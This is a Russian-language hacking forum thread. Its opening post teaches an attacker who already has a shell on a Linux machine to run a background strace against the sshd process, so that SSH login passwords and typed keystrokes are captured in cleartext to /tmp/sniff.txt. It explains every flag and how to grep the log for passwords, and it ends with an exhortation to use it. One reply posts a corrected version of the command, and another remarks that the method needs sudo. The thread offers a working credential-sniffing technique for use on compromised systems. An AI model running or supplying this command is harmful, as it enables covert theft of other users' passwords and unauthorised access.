LIMB
Вход Регистрация

тема

Сниффаем линукс доступ, крадем учетки одной командой=)

ArmCorp · · 2 ответов · 192 просмотров

Всем привет бывает такая ситуация вы попали на линукс машину, получили шелл, но у вас нет пароля в чистом виде. Мы можем прочитать /etc/shadow но пароли зашифрованы и нет ни времени ни ресурсов чтобы брутить эти пароли. Нужно получить в открытом виде пароль рута и желательно всех остальных юзеров.

Запускаем на скомпрометированной машине

sudo nohup strace -f -p $(pgrep -o sshd) -a -o /tmp/sniff.txt -v -e trace=read,write -s 128 >> /tmp/sniff.txt 2>&1 &

Эта команда запускает strace для трассировки системных вызовов процесса sshd (самого старого процесса SSH-сервера), при этом вывод записывается в файл /tmp/sniff.txt и процесс работает в фоновом режиме.

Разбор команды по частям:​


:one: sudo
⮕ Запуск с правами суперпользователя, так как strace требует root-доступ для трассировки процессов, запущенных другими пользователями.


:two: nohup
⮕ Позволяет процессу продолжать работу после выхода из терминала (иначе strace завершится при выходе из сессии).


:three: strace
⮕ Основная команда для трассировки системных вызовов.


:four: -f
⮕ Позволяет отслеживать дочерние процессы sshd.


:five: -p $(pgrep -o sshd)
⮕ pgrep -o sshd находит первый (самый старый) процесс sshd и передает его PID в strace для трассировки.


:six: -a
⮕ Добавляет PID каждого процесса в вывод (удобно для анализа, если strace отслеживает несколько процессов).


:seven: -o /tmp/sniff.txt
⮕ Записывает результат в файл /tmp/sniff.txt (если файла нет, создаст его).


:eight: -v
⮕ Выводит полные данные аргументов в syscall (без -v часть длинных значений может быть обрезана).


:nine: -e trace=read,write
⮕ Фильтрует только системные вызовы read и write (чтобы отслеживать ввод/вывод данных).


:keycap_ten: -s 128
⮕ Устанавливает максимальную длину строки для вывода (128 символов).


:one::one: >> /tmp/sniff.txt 2>&1
⮕ Перенаправляет stdout и stderr в файл /tmp/sniff.txt, чтобы лог хранил не только syscall, но и возможные ошибки.


:one::two: &
⮕ Запускает команду в фоновом режиме.

Что делает команда?​


:pushpin: Она постоянно мониторит процесс sshd и записывает все данные, передаваемые через read/write, в файл /tmp/sniff.txt.
:pushpin: Позволяет анализировать ввод/вывод, включая возможные пароли, команды и сетевые взаимодействия.

Как проверить результаты?​


:small_blue_diamond: Посмотреть лог в реальном времени:

tail -f /tmp/sniff.txt

:small_blue_diamond: Найти определенные строки (например, пароли):

grep "password" /tmp/sniff.txt

:small_blue_diamond: Остановить strace:

sudo pkill -f "strace -f -p"

Теперь если кто-то авторизируется по ssh, пароль в открытом виде сохранится в /tmp/sniff.txt. Если кто-то при подключении по ssh в терминале будет вводить текст, даже не отправляя его (не нажимая enter) - нам все равно прилетит запись. Пользуйтесь!

Не удалось прогрузить медиа
👍9 😮1 🤔2
Нету опций -a -o
Правильно будет
sudo nohup strace -f -p $(pgrep -o sshd) -v -e trace=read,write -s 128 >> /tmp/sniff.txt 2>&1 &
👍1
классно конечно когда есть sudo, но в основном и этого нет, и снифить возможно только юзера под чьим именем ты зашёл в систему, в этом плане конечно линуха хорошо продумана

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.